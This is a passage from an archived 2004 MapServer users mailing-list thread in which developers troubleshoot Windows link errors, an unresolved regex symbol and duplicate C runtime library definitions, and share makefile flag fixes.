d:/projects/mapserver\libpng-1.2.5/libpng.lib d:/projects/mapserver/zlib-1.2.1/zlib.lib d:/projects/mapserver/freetype-2.1.4/objs/freetype214.lib d:/projects/mapserver/gdal-1.2.0b/frmts/jpeg/libjpeg/libjpeg.lib d:\projects\mapserver\proj-4.4.8/src/proj.lib d:\projects\mapserver\gdal-1.2.0b/ogr/ogrsf_frmts/ogrsf_frmts.lib d:\projects\mapserver\gdal-1.2.0b/ogr/ogrsf_frmts/ogrsf_frmts_sup.lib d:\projects\mapserver\gdal-1.2.0b/ogr/ogr.lib d:\projects\mapserver\gdal-1.2.0b/ogr/../port/cpl.lib d:\projects\mapserver\gdal-1.2.0b/gdal_i.lib d:/projects/mapserver/curl-7.11.1/lib/libcurl.lib d:/projects/mapserver/ming-0.2a/src/libming.lib d:/projects/mapserver/pdflib-4.0.3/pdflib/pdflib.lib "C:\Program Files\Microsoft Visual Studio .NET 2003\VC7\PlatformSDK\Lib\WSOCK32.LIB" d:\projects\mapserver\postgresql-7.3.4/src/interfaces/libpq/release/libpqdll.lib c:\apps\xerces-c1_7_0-win32/lib/xerces-c_1.lib C:\Progra~1\Earthr~1\ECWSDK~1\lib\NCSEcw.lib C:\Progra~1\Earthr~1\ECWSDK~1\lib\NCSEcw C.lib C:\Progra~1\Earthr~1\ECWSDK~1\lib\NCSUtil.lib "C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\PlatformSDK\Lib\odbc32.lib" /out:libmap.dll /implib:mapserver_i.lib Microsoft (R) Incremental Linker Version 7.10.3077 Copyright (C) Microsoft Corporation. All rights reserved. LIBCD.lib(dbgheap.obj) : error LNK2005: _malloc already defined in LIBC.lib(malloc.obj) LIBCD.lib(dbgheap.obj) : error LNK2005: __nh_malloc already defined in LIBC.lib(malloc.obj) LIBCD.lib(dbgheap.obj) : error LNK2005: __heap_alloc already defined in LIBC.lib(malloc.obj) LIBCD.lib(dbgheap.obj) : error LNK2005: _calloc already defined in LIBC.lib(calloc.obj) LIBCD.lib(dbgheap.obj) : error LNK2005: _realloc already defined in LIBC.lib(realloc.obj) LIBCD.lib(dbgheap.obj) : error LNK2005: _free already defined in LIBC.lib(free.obj) LIBCD.lib(dbgheap.obj) : error LNK2005: __msize already defined in LIBC.lib(msize.obj) LIBCD.lib(sbheap.obj) : error LNK2005: __get_sbh_threshold already defined in LIBC.lib(sbheap.obj) LIBCD.lib(sbheap.obj) : error LNK2005: __set_sbh_threshold already defined in LIBC.lib(sbheap.obj) LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_heap_init already defined in LIBC.lib(sbheap.obj) LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_find_block already defined in LIBC.lib(sbheap.obj) LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_free_block already defined in LIBC.lib(sbheap.obj) LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_alloc_block already defined in LIBC.lib(sbheap.obj) LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_alloc_new_region already defined in LIBC.lib(sbheap.obj) LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_alloc_new_group already defined in LIBC.lib(sbheap.obj) LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_resize_block already defined in LIBC.lib(sbheap.obj) LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_heapmin already defined in LIBC.lib(sbheap.obj) LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_heap_check already defined in LIBC.lib(sbheap.obj) LIBCD.lib(dbgheap.obj) : warning LNK4006: _malloc already defined in LIBC.lib(malloc.obj); second definition ignored LIBCD.lib(dbgheap.obj) : warning LNK4006: __nh_malloc already defined in LIBC.lib(malloc.obj); second definition ignored LIBCD.lib(dbgheap.obj) : warning LNK4006: __heap_alloc already defined in LIBC.lib(malloc.obj); second definition ignored LIBCD.lib(dbgheap.obj) : warning LNK4006: _calloc already defined in LIBC.lib(calloc.obj); second definition ignored LIBCD.lib(dbgheap.obj) : warning LNK4006: _realloc already defined in LIBC.lib(realloc.obj); second definition ignored LIBCD.lib(dbgheap.obj) : warning LNK4006: _free already defined in LIBC.lib(free.obj); second definition ignored LIBCD.lib(dbgheap.obj) : warning LNK4006: __msize already defined in LIBC.lib(msize.obj); second definition ignored LIBCD.lib(sbheap.obj) : warning LNK4006: __get_sbh_threshold already defined in LIBC.lib(sbheap.obj); second definition ignored LIBCD.lib(sbheap.obj) : warning LNK4006: __set_sbh_threshold already defined in LIBC.lib(sbheap.obj); second definition ignored LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_heap_init already defined in LIBC.lib(sbheap.obj); second definition ignored LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_find_block already defined in LIBC.lib(sbheap.obj); second definition ignored LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_free_block already defined in LIBC.lib(sbheap.obj); second definition ignored LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_alloc_block already defined in LIBC.lib(sbheap.obj); second definition ignored LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_alloc_new_region already defined in LIBC.lib(sbheap.obj); second definition ignored LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_alloc_new_group already defined in LIBC.lib(sbheap.obj); second definition ignored LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_resize_block already defined in LIBC.lib(sbheap.obj); second definition ignored LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_heapmin already defined in LIBC.lib(sbheap.obj); second definition ignored LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_heap_check already defined in LIBC.lib(sbheap.obj); second definition ignored Creating library mapserver_i.lib and object mapserver_i.exp LINK : warning LNK4098: defaultlib 'LIBCD' conflicts with use of other libs; use /NODEFAULTLIB:library libmap.dll : fatal error LNK1169: one or more multiply defined symbols found NMAKE : fatal error U1077: 'link' : return code '0x491' Stop. On Mon, 2004-06-21 at 14:17, Howard Butler wrote: > Assefa, > > I am trying to compile Windows MapServer, but I am having trouble getting > regex to behave when it comes time to link. Apparently, many others have > had trouble as well > . > > Here is the link error: > regex.obj : error LNK2001: unresolved external symbol _printchar > > I have tried every permutation of putting that symbol in the header, making > sure it is extern'ed properly (in both the C file and the header), but I am > having no luck. I grepped through my VC++ include files and my cygwin > include files for that function prototype (printchar), but I cannot find it > anywhere. > > If you have any ideas of other things I might try, I'd greatly appreciate it. > > Thanks > > Howard > > -------------------------------------------------------- > Howard Butler > Department of Statistics > Center for Survey Statistics and Methodology > Iowa State University > 212 Snedecor Hall > Ames, IA 50011 > -------------------------------------------------------- > http://hobu.biz > -------------------------------------------------------- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- "He's no geek.His tan's too good." -Benjamin Choate From ed at topozone.com Mon Jun 21 13:11:38 2004 From: ed at topozone.com (Ed McNierney) Date: Mon, 21 Jun 2004 16:11:38 -0400 Subject: [Mapserver-users] MapServer Windows external symbol problem Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB070B3654@ptolemy.topozone.com> Howard - If you were getting a LINK error, then you were linking *something* - i.e. one of the test harness applications. The PHP regex is fine. That's all you need - the regex Windows makefile is a total mess for simply trying to build one .obj file! - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Howard Butler [mailto:hobu at iastate.edu] Sent: Monday, June 21, 2004 3:53 PM To: Ed McNierney; assefa at dmsolutions.ca Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] MapServer Windows external symbol problem Ed, Under CVS MapServer, regex.obj is no longer available as a target. Also, I was only building the regex.obj from GNU's regex and none of the test harness. I later found a link to a message from Assefa that said he uses PHP's regex. I rolled PHP into the mix and my regex problem went away. Howard At 02:49 PM 6/21/2004, Ed McNierney wrote: >Howard - > >Add the target name "regex.obj" to the nmake command line - the errors >come from trying to build the test applications, which you don't need. > >If you click on the first entry found by the Google search you emailed >below, you'll find me saying the same thing . > > - Ed > >Ed McNierney >President and Chief Mapmaker >TopoZone.com >-----Original Message----- >From: mapserver-users-admin at lists.gis.umn.edu >[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Howard >Butler >Sent: Monday, June 21, 2004 3:17 PM >To: assefa at dmsolutions.ca >Cc: mapserver-users at lists.gis.umn.edu >Subject: [Mapserver-users] MapServer Windows external symbol problem > >Assefa, > >I am trying to compile Windows MapServer, but I am having trouble >getting regex to behave when it comes time to link. Apparently, many >others have had trouble as well >x >ternal+symbol+_printchar&hl=en&lr=&ie=UTF-8&c2coff=1&start=10&sa=N&filt >ternal+symbol+e >r=0>. > >Here is the link error: >regex.obj : error LNK2001: unresolved external symbol _printchar > >I have tried every permutation of putting that symbol in the header, >making sure it is extern'ed properly (in both the C file and the >header), but I am having no luck. I grepped through my VC++ include >files and my cygwin include files for that function prototype >(printchar), but I cannot find it anywhere. > >If you have any ideas of other things I might try, I'd greatly >appreciate it. > >Thanks > >Howard > >-------------------------------------------------------- >Howard Butler >Department of Statistics >Center for Survey Statistics and Methodology Iowa State University >212 Snedecor Hall >Ames, IA 50011 >-------------------------------------------------------- >http://hobu.biz >-------------------------------------------------------- > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From hobu at iastate.edu Mon Jun 21 13:12:07 2004 From: hobu at iastate.edu (Howard Butler) Date: Mon, 21 Jun 2004 15:12:07 -0500 Subject: [Mapserver-users] MapServer Windows external symbol problem In-Reply-To: <1087848522.13255.68.camel@localhost> References: <6.1.0.6.2.20040621140855.01d4ef88@hobu.mail.iastate.edu> <1087848522.13255.68.camel@localhost> Message-ID: <6.1.0.6.2.20040621150941.01e0d5a0@hobu.mail.iastate.edu> Pericles, Here is what I set my LDFLAGS in Makefile.vc after pointing to the PHP regex: LDFLAGS = /NODEFAULTLIB:msvcrt /NODEFAULTLIB:libcd /NODEFAULTLIB:libcmt /DEBUG I'm speculating that it is caused by some code being built as debug while other is "release" code. VC++ is kind of stupid when you try to mix the two together and says that those symbols have already been defined Howard At 03:08 PM 6/21/2004, Pericles S. Nacionales wrote: >Howard, Assefa, > >I got around this regex problem by compiling against the PHP regex >library. > >But then I ran into system library conflicts during linking. I tried >changing the /NODEFAULTLIB: flag but it didn't help. Any help >with this would be greatly appreciated. > >Here's the messages I'm getting: > link /dll /debug mapbits.obj maphash.obj mapshape.obj >mapxbase.obj mapparser.obj maplexer.obj mapindex.obj maptree.obj >mapsearch.obj mapstring.obj mapsymbol.obj mapfile.obj maplegend.obj >maputil.obj mapscale.obj mapquery.obj maplabel.obj maperror.obj >mapprimitive.obj mapproject.obj mapraster.obj cgiutil.obj mapsde.obj >mapogr.obj maptime.obj maptemplate.obj mappostgis.obj maplayer.obj >mapresample.obj mapwms.obj mapwmslayer.obj mapgml.obj >maporaclespatial.obj mapprojhack.obj mapdraw.obj mapgd.obj >mapoutput.obj mapswf.obj mapgdal.obj mapwfs.obj mapwfslayer.obj >mapows.obj maphttp.obj mappdf.obj mapcontext.obj mapdrawgdal.obj >mapjoin.obj mapgraticule.obj mapmygis.obj mapimagemap.obj mapcopy.obj >mapogcfilter.obj mapogcsld.obj mapthread.obj epplib.obj >d:/projects/mapserver/php-4.3.6\regex\regcomp.obj >d:/projects/mapserver/php-4.3.6\regex\regerror.obj >d:/projects/mapserver/php-4.3.6\regex\regexec.obj >d:/projects/mapserver/php-4.3.6\regex\regfree.obj >d:/projects/mapserver/gd-2.0.15gif/gd.lib >d:/projects/mapserver/gdal-1.2.0b/frmts/jpeg/libjpeg/libjpeg.lib >d:/projects/mapserver\libpng-1.2.5/libpng.lib >d:/projects/mapserver/zlib-1.2.1/zlib.lib >d:/projects/mapserver/freetype-2.1.4/objs/freetype214.lib >d:/projects/mapserver/gdal-1.2.0b/frmts/jpeg/libjpeg/libjpeg.lib >d:\projects\mapserver\proj-4.4.8/src/proj.lib >d:\projects\mapserver\gdal-1.2.0b/ogr/ogrsf_frmts/ogrsf_frmts.lib >d:\projects\mapserver\gdal-1.2.0b/ogr/ogrsf_frmts/ogrsf_frmts_sup.lib >d:\projects\mapserver\gdal-1.2.0b/ogr/ogr.lib >d:\projects\mapserver\gdal-1.2.0b/ogr/../port/cpl.lib >d:\projects\mapserver\gdal-1.2.0b/gdal_i.lib >d:/projects/mapserver/curl-7.11.1/lib/libcurl.lib >d:/projects/mapserver/ming-0.2a/src/libming.lib >d:/projects/mapserver/pdflib-4.0.3/pdflib/pdflib.lib "C:\Program >Files\Microsoft Visual Studio .NET 2003\VC7\PlatformSDK\Lib\WSOCK32.LIB" >d:\projects\mapserver\postgresql-7.3.4/src/interfaces/libpq/release/libpqdll.lib >c:\apps\xerces-c1_7_0-win32/lib/xerces-c_1.lib >C:\Progra~1\Earthr~1\ECWSDK~1\lib\NCSEcw.lib >C:\Progra~1\Earthr~1\ECWSDK~1\lib\NCSEcw >C.lib C:\Progra~1\Earthr~1\ECWSDK~1\lib\NCSUtil.lib "C:\Program >Files\Microsoft Visual Studio .NET 2003\Vc7\PlatformSDK\Lib\odbc32.lib" >/out:libmap.dll /implib:mapserver_i.lib >Microsoft (R) Incremental Linker Version 7.10.3077 >Copyright (C) Microsoft Corporation. All rights reserved. > >LIBCD.lib(dbgheap.obj) : error LNK2005: _malloc already defined in >LIBC.lib(malloc.obj) >LIBCD.lib(dbgheap.obj) : error LNK2005: __nh_malloc already defined in >LIBC.lib(malloc.obj) >LIBCD.lib(dbgheap.obj) : error LNK2005: __heap_alloc already defined in >LIBC.lib(malloc.obj) >LIBCD.lib(dbgheap.obj) : error LNK2005: _calloc already defined in >LIBC.lib(calloc.obj) >LIBCD.lib(dbgheap.obj) : error LNK2005: _realloc already defined in >LIBC.lib(realloc.obj) >LIBCD.lib(dbgheap.obj) : error LNK2005: _free already defined in >LIBC.lib(free.obj) >LIBCD.lib(dbgheap.obj) : error LNK2005: __msize already defined in >LIBC.lib(msize.obj) >LIBCD.lib(sbheap.obj) : error LNK2005: __get_sbh_threshold already >defined in LIBC.lib(sbheap.obj) >LIBCD.lib(sbheap.obj) : error LNK2005: __set_sbh_threshold already >defined in LIBC.lib(sbheap.obj) >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_heap_init already defined >in LIBC.lib(sbheap.obj) >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_find_block already defined >in LIBC.lib(sbheap.obj) >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_free_block already defined >in LIBC.lib(sbheap.obj) >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_alloc_block already >defined in LIBC.lib(sbheap.obj) >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_alloc_new_region already >defined in LIBC.lib(sbheap.obj) >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_alloc_new_group already >defined in LIBC.lib(sbheap.obj) >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_resize_block already >defined in LIBC.lib(sbheap.obj) >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_heapmin already defined in >LIBC.lib(sbheap.obj) >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_heap_check already defined >in LIBC.lib(sbheap.obj) >LIBCD.lib(dbgheap.obj) : warning LNK4006: _malloc already defined in >LIBC.lib(malloc.obj); second definition ignored >LIBCD.lib(dbgheap.obj) : warning LNK4006: __nh_malloc already defined in >LIBC.lib(malloc.obj); second definition ignored >LIBCD.lib(dbgheap.obj) : warning LNK4006: __heap_alloc already defined >in LIBC.lib(malloc.obj); second definition ignored >LIBCD.lib(dbgheap.obj) : warning LNK4006: _calloc already defined in >LIBC.lib(calloc.obj); second definition ignored >LIBCD.lib(dbgheap.obj) : warning LNK4006: _realloc already defined in >LIBC.lib(realloc.obj); second definition ignored >LIBCD.lib(dbgheap.obj) : warning LNK4006: _free already defined in >LIBC.lib(free.obj); second definition ignored >LIBCD.lib(dbgheap.obj) : warning LNK4006: __msize already defined in >LIBC.lib(msize.obj); second definition ignored >LIBCD.lib(sbheap.obj) : warning LNK4006: __get_sbh_threshold already >defined in LIBC.lib(sbheap.obj); second definition ignored >LIBCD.lib(sbheap.obj) : warning LNK4006: __set_sbh_threshold already >defined in LIBC.lib(sbheap.obj); second definition ignored >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_heap_init already >defined in LIBC.lib(sbheap.obj); second definition ignored >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_find_block already >defined in LIBC.lib(sbheap.obj); second definition ignored >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_free_block already >defined in LIBC.lib(sbheap.obj); second definition ignored >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_alloc_block already >defined in LIBC.lib(sbheap.obj); second definition ignored >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_alloc_new_region already >defined in LIBC.lib(sbheap.obj); second definition ignored >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_alloc_new_group already >defined in LIBC.lib(sbheap.obj); second definition ignored >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_resize_block already >defined in LIBC.lib(sbheap.obj); second definition ignored >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_heapmin already defined >in LIBC.lib(sbheap.obj); second definition ignored >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_heap_check already >defined in LIBC.lib(sbheap.obj); second definition ignored > Creating library mapserver_i.lib and object mapserver_i.exp >LINK : warning LNK4098: defaultlib 'LIBCD' conflicts with use of other >libs; use /NODEFAULTLIB:library >libmap.dll : fatal error LNK1169: one or more multiply defined symbols >found >NMAKE : fatal error U1077: 'link' : return code '0x491' >Stop. > > >On Mon, 2004-06-21 at 14:17, Howard Butler wrote: > > Assefa, > > > > I am trying to compile Windows MapServer, but I am having trouble getting > > regex to behave when it comes time to link. Apparently, many others have > > had trouble as well > > > . > > > > Here is the link error: > > regex.obj : error LNK2001: unresolved external symbol _printchar > > > > I have tried every permutation of putting that symbol in the header, > making > > sure it is extern'ed properly (in both the C file and the header), but > I am > > having no luck. I grepped through my VC++ include files and my cygwin > > include files for that function prototype (printchar), but I cannot > find it > > anywhere. > > > > If you have any ideas of other things I might try, I'd greatly > appreciate it. > > > > Thanks > > > > Howard > > > > -------------------------------------------------------- > > Howard Butler > > Department of Statistics > > Center for Survey Statistics and Methodology > > Iowa State University > > 212 Snedecor Hall > > Ames, IA 50011 > > -------------------------------------------------------- > > http://hobu.biz > > -------------------------------------------------------- > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >-- >"He's no geek.His tan's too good." -Benjamin Choate From nacional at cbs.umn.edu Mon Jun 21 13:19:17 2004 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: Mon, 21 Jun 2004 15:19:17 -0500 Subject: [Mapserver-users] MapServer Windows external symbol problem In-Reply-To: <6.1.0.6.2.20040621150941.01e0d5a0@hobu.mail.iastate.edu> References: <6.1.0.6.2.20040621140855.01d4ef88@hobu.mail.iastate.edu> <1087848522.13255.68.camel@localhost> <6.1.0.6.2.20040621150941.01e0d5a0@hobu.mail.iastate.edu> Message-ID: <1087849157.10763.72.camel@localhost> Howard, Thanks much! libcmt is the one flag I haven't tried adding. -Perry On Mon, 2004-06-21 at 15:12, Howard Butler wrote: > Pericles, > > Here is what I set my LDFLAGS in Makefile.vc after pointing to the PHP regex: > LDFLAGS = /NODEFAULTLIB:msvcrt /NODEFAULTLIB:libcd > /NODEFAULTLIB:libcmt /DEBUG > > I'm speculating that it is caused by some code being built as debug while > other is "release" code. VC++ is kind of stupid when you try to mix the > two together and says that those symbols have already been defined > > Howard > > At 03:08 PM 6/21/2004, Pericles S. Nacionales wrote: > >Howard, Assefa, > > > >I got around this regex problem by compiling against the PHP regex > >library. > > > >But then I ran into system library conflicts during linking. I tried > >changing the /NODEFAULTLIB: flag but it didn't help. Any help > >with this would be greatly appreciated. > > > >Here's the messages I'm getting: > > link /dll /debug mapbits.obj maphash.obj mapshape.obj > >mapxbase.obj mapparser.obj maplexer.obj mapindex.obj maptree.obj > >mapsearch.obj mapstring.obj mapsymbol.obj mapfile.obj maplegend.obj > >maputil.obj mapscale.obj mapquery.obj maplabel.obj maperror.obj > >mapprimitive.obj mapproject.obj mapraster.obj cgiutil.obj mapsde.obj > >mapogr.obj maptime.obj maptemplate.obj mappostgis.obj maplayer.obj > >mapresample.obj mapwms.obj mapwmslayer.obj mapgml.obj > >maporaclespatial.obj mapprojhack.obj mapdraw.obj mapgd.obj > >mapoutput.obj mapswf.obj mapgdal.obj mapwfs.obj mapwfslayer.obj > >mapows.obj maphttp.obj mappdf.obj mapcontext.obj mapdrawgdal.obj > >mapjoin.obj mapgraticule.obj mapmygis.obj mapimagemap.obj mapcopy.obj > >mapogcfilter.obj mapogcsld.obj mapthread.obj epplib.obj > >d:/projects/mapserver/php-4.3.6\regex\regcomp.obj > >d:/projects/mapserver/php-4.3.6\regex\regerror.obj > >d:/projects/mapserver/php-4.3.6\regex\regexec.obj > >d:/projects/mapserver/php-4.3.6\regex\regfree.obj > >d:/projects/mapserver/gd-2.0.15gif/gd.lib > >d:/projects/mapserver/gdal-1.2.0b/frmts/jpeg/libjpeg/libjpeg.lib > >d:/projects/mapserver\libpng-1.2.5/libpng.lib > >d:/projects/mapserver/zlib-1.2.1/zlib.lib > >d:/projects/mapserver/freetype-2.1.4/objs/freetype214.lib > >d:/projects/mapserver/gdal-1.2.0b/frmts/jpeg/libjpeg/libjpeg.lib > >d:\projects\mapserver\proj-4.4.8/src/proj.lib > >d:\projects\mapserver\gdal-1.2.0b/ogr/ogrsf_frmts/ogrsf_frmts.lib > >d:\projects\mapserver\gdal-1.2.0b/ogr/ogrsf_frmts/ogrsf_frmts_sup.lib > >d:\projects\mapserver\gdal-1.2.0b/ogr/ogr.lib > >d:\projects\mapserver\gdal-1.2.0b/ogr/../port/cpl.lib > >d:\projects\mapserver\gdal-1.2.0b/gdal_i.lib > >d:/projects/mapserver/curl-7.11.1/lib/libcurl.lib > >d:/projects/mapserver/ming-0.2a/src/libming.lib > >d:/projects/mapserver/pdflib-4.0.3/pdflib/pdflib.lib "C:\Program > >Files\Microsoft Visual Studio .NET 2003\VC7\PlatformSDK\Lib\WSOCK32.LIB" > >d:\projects\mapserver\postgresql-7.3.4/src/interfaces/libpq/release/libpqdll.lib > >c:\apps\xerces-c1_7_0-win32/lib/xerces-c_1.lib > >C:\Progra~1\Earthr~1\ECWSDK~1\lib\NCSEcw.lib > >C:\Progra~1\Earthr~1\ECWSDK~1\lib\NCSEcw > >C.lib C:\Progra~1\Earthr~1\ECWSDK~1\lib\NCSUtil.lib "C:\Program > >Files\Microsoft Visual Studio .NET 2003\Vc7\PlatformSDK\Lib\odbc32.lib" > >/out:libmap.dll /implib:mapserver_i.lib > >Microsoft (R) Incremental Linker Version 7.10.3077 > >Copyright (C) Microsoft Corporation. All rights reserved. > > > >LIBCD.lib(dbgheap.obj) : error LNK2005: _malloc already defined in > >LIBC.lib(malloc.obj) > >LIBCD.lib(dbgheap.obj) : error LNK2005: __nh_malloc already defined in > >LIBC.lib(malloc.obj) > >LIBCD.lib(dbgheap.obj) : error LNK2005: __heap_alloc already defined in > >LIBC.lib(malloc.obj) > >LIBCD.lib(dbgheap.obj) : error LNK2005: _calloc already defined in > >LIBC.lib(calloc.obj) > >LIBCD.lib(dbgheap.obj) : error LNK2005: _realloc already defined in > >LIBC.lib(realloc.obj) > >LIBCD.lib(dbgheap.obj) : error LNK2005: _free already defined in > >LIBC.lib(free.obj) > >LIBCD.lib(dbgheap.obj) : error LNK2005: __msize already defined in > >LIBC.lib(msize.obj) > >LIBCD.lib(sbheap.obj) : error LNK2005: __get_sbh_threshold already > >defined in LIBC.lib(sbheap.obj) > >LIBCD.lib(sbheap.obj) : error LNK2005: __set_sbh_threshold already > >defined in LIBC.lib(sbheap.obj) > >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_heap_init already defined > >in LIBC.lib(sbheap.obj) > >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_find_block already defined > >in LIBC.lib(sbheap.obj) > >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_free_block already defined > >in LIBC.lib(sbheap.obj) > >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_alloc_block already > >defined in LIBC.lib(sbheap.obj) > >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_alloc_new_region already > >defined in LIBC.lib(sbheap.obj) > >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_alloc_new_group already > >defined in LIBC.lib(sbheap.obj) > >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_resize_block already > >defined in LIBC.lib(sbheap.obj) > >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_heapmin already defined in > >LIBC.lib(sbheap.obj) > >LIBCD.lib(sbheap.obj) : error LNK2005: ___sbh_heap_check already defined > >in LIBC.lib(sbheap.obj) > >LIBCD.lib(dbgheap.obj) : warning LNK4006: _malloc already defined in > >LIBC.lib(malloc.obj); second definition ignored > >LIBCD.lib(dbgheap.obj) : warning LNK4006: __nh_malloc already defined in > >LIBC.lib(malloc.obj); second definition ignored > >LIBCD.lib(dbgheap.obj) : warning LNK4006: __heap_alloc already defined > >in LIBC.lib(malloc.obj); second definition ignored > >LIBCD.lib(dbgheap.obj) : warning LNK4006: _calloc already defined in > >LIBC.lib(calloc.obj); second definition ignored > >LIBCD.lib(dbgheap.obj) : warning LNK4006: _realloc already defined in > >LIBC.lib(realloc.obj); second definition ignored > >LIBCD.lib(dbgheap.obj) : warning LNK4006: _free already defined in > >LIBC.lib(free.obj); second definition ignored > >LIBCD.lib(dbgheap.obj) : warning LNK4006: __msize already defined in > >LIBC.lib(msize.obj); second definition ignored > >LIBCD.lib(sbheap.obj) : warning LNK4006: __get_sbh_threshold already > >defined in LIBC.lib(sbheap.obj); second definition ignored > >LIBCD.lib(sbheap.obj) : warning LNK4006: __set_sbh_threshold already > >defined in LIBC.lib(sbheap.obj); second definition ignored > >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_heap_init already > >defined in LIBC.lib(sbheap.obj); second definition ignored > >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_find_block already > >defined in LIBC.lib(sbheap.obj); second definition ignored > >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_free_block already > >defined in LIBC.lib(sbheap.obj); second definition ignored > >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_alloc_block already > >defined in LIBC.lib(sbheap.obj); second definition ignored > >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_alloc_new_region already > >defined in LIBC.lib(sbheap.obj); second definition ignored > >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_alloc_new_group already > >defined in LIBC.lib(sbheap.obj); second definition ignored > >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_resize_block already > >defined in LIBC.lib(sbheap.obj); second definition ignored > >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_heapmin already defined > >in LIBC.lib(sbheap.obj); second definition ignored > >LIBCD.lib(sbheap.obj) : warning LNK4006: ___sbh_heap_check already > >defined in LIBC.lib(sbheap.obj); second definition ignored > > Creating library mapserver_i.lib and object mapserver_i.exp > >LINK : warning LNK4098: defaultlib 'LIBCD' conflicts with use of other > >libs; use /NODEFAULTLIB:library > >libmap.dll : fatal error LNK1169: one or more multiply defined symbols > >found > >NMAKE : fatal error U1077: 'link' : return code '0x491' > >Stop. > > > > > >On Mon, 2004-06-21 at 14:17, Howard Butler wrote: > > > Assefa, > > > > > > I am trying to compile Windows MapServer, but I am having trouble getting > > > regex to behave when it comes time to link. Apparently, many others have > > > had trouble as well > > > > > . > > > > > > Here is the link error: > > > regex.obj : error LNK2001: unresolved external symbol _printchar > > > > > > I have tried every permutation of putting that symbol in the header, > > making > > > sure it is extern'ed properly (in both the C file and the header), but > > I am > > > having no luck. I grepped through my VC++ include files and my cygwin > > > include files for that function prototype (printchar), but I cannot > > find it > > > anywhere. > > > > > > If you have any ideas of other things I might try, I'd greatly > > appreciate it. > > > > > > Thanks > > > > > > Howard > > > > > > -------------------------------------------------------- > > > Howard Butler > > > Department of Statistics > > > Center for Survey Statistics and Methodology > > > Iowa State University > > > 212 Snedecor Hall > > > Ames, IA 50011 > > > -------------------------------------------------------- > > > http://hobu.biz > > > -------------------------------------------------------- > > > > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >-- > >"He's no geek.His tan's too good." -Benjamin Choate -- "He's no geek.His tan's too good." -Benjamin Choate From hobu at iastate.edu Mon Jun 21 13:33:41 2004 From: hobu at iastate.edu (Howard Butler) Date: Mon, 21 Jun 2004 15:33:41 -0500 Subject: [Mapserver-users] MapServer Windows external symbol problem Message-ID: <6.1.0.6.2.20040621153331.01e8aec0@hobu.mail.iastate.edu> Thanks Brent, that was it. I also had to drop the /debug from the link line in the MS_LIB target because the compiler would complain about printchar.obj not having debug info (which I don't understand). >printchar.obj : fatal error LNK1202: "D:\cvs\mapserver\vc60.pdb" is >missing debu >gging information for referencing module >NMAKE : fatal error U1077: 'link' : return code '0x4b2' >Stop. It's kind baffling that the GNU folks write code that depends on the test code beneath it to work.... Anyway, to those who follow... It's much easier to just use PHP's regex, as the makefile is already setup for it. If you don't want PHP, add the line that Brent replied with and turn off all of the debugging switches on the link line and it should work. Thanks all for the help. Howard At 03:16 PM 6/21/2004, you wrote: 